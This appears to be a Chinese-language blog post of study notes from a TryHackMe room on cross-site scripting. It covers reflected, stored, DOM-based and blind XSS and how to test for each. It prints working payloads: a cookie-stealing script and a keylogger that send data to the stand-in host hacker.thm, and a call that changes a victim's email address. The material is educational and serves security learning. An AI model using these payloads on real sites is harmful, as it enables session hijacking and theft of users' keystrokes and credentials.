[THM]跨站点脚本(xss)

发布时间 2023-12-14 20:41:00作者: trymonoly

XSS 有效负载

什么是有效载荷?

在 XSS 中,有效负载是我们希望在目标计算机上执行的 JavaScript 代码。有效载荷分为两部分,意图和修改。

目的是你希望 JavaScript 实际做什么(我们将在下面通过一些示例进行介绍),修改是我们需要对代码进行更改,以使其执行,因为每个场景都是不同的(在完善有效负载任务中对此进行了更多介绍)。

以下是 XSS 意图的一些示例。

概念验证:

这是最简单的有效负载,您要做的就是证明您可以在网站上实现 XSS。这通常是通过在页面上弹出一个带有文本字符串的警报框来完成的,例如:

<script>alert('XSS');</script>

会话窃取:

用户会话的详细信息(例如登录令牌)通常保存在目标计算机上的 Cookie 中。下面的 JavaScript 获取目标的 cookie,base64 对 cookie 进行编码以确保成功传输,然后将其发布到黑客控制的网站进行记录。一旦黑客拥有这些cookie,他们就可以接管目标的会话并以该用户的身份登录。

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
fetch() #用于发送HTTP请求并获取数据的方法
btoa() #它用于将字符串转换为Base64编码

键盘记录器:

下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制的网站。如果有效负载的网站安装在接受的用户登录信息或信用卡详细信息上,这可能会非常具有破坏性。

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

业务逻辑:

这个XSS payload比上面的例子要具体得多,此处会调用特定的网络资源或 JavaScript 函数。 例如,假设存在一个名为 user.changeEmail() 的用于更改用户电子邮件地址的 JavaScript 函数,对应的XSS payload可能如下所示:

<script>user.changeEmail('attacker@hacker.thm');</script>

如果帐户所对应的电子邮件地址已成功更改,那么攻击者就可以接着尝试执行针对目标用户的重置密码攻击。

接下来的四个小节将涵盖不同类型的 XSS 漏洞,这些 XSS 漏洞的实现都需要我们编写略有不同的XSS payload(经过精心构造的js代码)并且都需要让payload和用户发生交互。

 反射型 XSS

反射型 XSS

当 HTTP 请求中用户提供的数据包含在网页源中而未进行任何验证时,就会发生反射型 XSS

示例场景:
如果输入错误的输入,则会显示错误消息的网站。内容 错误消息取自查询字符串中的 error 参数,并且 直接内置于页面源代码中。

 应用程序不检查 error 参数的内容,允许攻击者插入 恶意代码

 

该漏洞可以按照下图中的场景使用:

 

 潜在影响:

攻击者 可以发送链接或将它们嵌入到其他网站上的 iframe 中 包含 JavaScript 有效负载,让潜在受害者获得 在他们的浏览器上执行代码,可能会泄露会话或客户 信息。

如何测试反射型 XSS

您需要测试每个可能的入口点;这些包括:

  • URL 查询字符串中的参数
  • URL 文件路径
  • 有时是 HTTP 标头(尽管在实践中不太可能被利用)

找到一些反映在 Web 应用程序中的数据后,您需要确认您可以成功运行 JavaScript 有效负载;有效负载将取决于代码在应用程序中的反映位置(您将在任务 6 中了解有关此内容的更多信息)。

存储的 XSS

示例场景:
A 允许用户发表评论的博客网站。不幸的是,这些 系统不会检查注释是否包含 JavaScript 或过滤器 删除任何恶意代码。如果我们现在发布包含 JavaScript 的评论, 这将存储在数据库中,并且现在访问的所有其他用户 本文将让 JavaScript 在他们的浏览器中运行。

 

 

潜在影响:

The 恶意 JavaScript 可以将用户重定向到另一个站点,窃取 用户的会话 cookie,或在充当 来访用户。

如何测试存储的 XSS

您需要测试每个可能的入口点,在这些入口点上似乎存储了数据,然后在其他用户可以访问的区域中显示回来;其中的一个小例子可能是:

  • 博客上的评论
  • 用户配置文件信息
  • 网站列表

有时,开发人员认为在客户端限制输入值已经足够好了,因此将值更改为 Web 应用程序不希望的值是发现存储的 XSS 的良好来源,例如,需要下拉菜单中整数的 age 字段,但相反,您手动发送请求,而不是使用允许您尝试恶意负载的表单。

一次 您已经找到了一些存储在 Web 应用程序中的数据,然后您需要确认您可以成功运行 JavaScript 有效负载;您的有效负载将取决于 应用程序:您的代码将得到反映

什么是 DOM?

 DOMxss

DOM 代表 Document Object Model,是一个 HTML和XML文档的编程接口。它表示页面,以便程序可以更改文档结构、样式和内容。一个 网页是一个文档,此文档可以显示在浏览器窗口中,也可以作为 HTML 源显示。HTML DOM 的图是 如下所示:

 

利用 DOM

DOM 基于 XSS 是直接在浏览器中执行 JavaScript 的地方,无需加载任何新页面或将数据提交到后端代码。当网站 JavaScript 代码作用于输入或 用户交互。示例场景:

网站的 JavaScript 从参数中获取内容,然后将其写入当前 已查看部分。不会检查哈希的内容是否为恶意 代码,允许攻击者将他们选择的 JavaScript 注入到 网页。

潜在影响:

攻击者可以将精心制作的基于DOM的 XSS链接发送给潜在的受害者,然后将受害者访问的页面重定向到另一个网站或者从用户所访问的当前页面、用户当前的会话中窃取内容。

如何测试基于DOM的 XSS:

对 基于 DOM 的 XSS 进行测试可能具有挑战性,并且需要一定的 JavaScript 知识才能阅读相关源代码。 你需要查找攻击者可以控制的并且能够访问某些变量的代码部分,例如“window.location.x”参数。

找到这些代码后,你需要查看它们是如何处理变量的,以及这些值是否曾被写入网页的DOM中 或者 能够被传递给不安全的 JavaScript 方法--例如 eval()方法。

盲 XSS

示例场景:

假设目标网站有一个联系表单,你可以通过该表单向网站相关工作人员发送消息。如果目标站点不检查邮件内容是否有任何恶意代码,这将使得攻击者可以在邮件中输入他们想要的任何内容;然后,这些邮件消息会变成目标站点的业务工单,员工可以在私人门户(入口页)网站上查看这些工单,从而触发XSS攻击。

潜在影响:

当攻击者使用了正确的XSS payload时,相关代码就可以回调攻击者所拥有的网站,从而显示目标站点的员工门户(入口页) URL、员工的 cookie,甚至员工正在查看的门户(入口页)内容;然后攻击者就可以尝试劫持员工的会话并访问一些私有门户(入口页)。

如何测试Blind(盲注)型 XSS:

在测试 Blind XSS 漏洞时,你需要确保你的 XSS payload 有回调(通常是一个HTTP请求);这样,你就能知道你的代码是否被执行以及何时被执行。

一种流行的Blind XSS 攻击工具是 xsshunter。 虽然你可以用 JavaScript代码 制作你自己的工具,但是通过使用xsshunter工具(该工具页面处于关闭注册状态)会自动帮助你捕获 cookie、URL、页面内容等。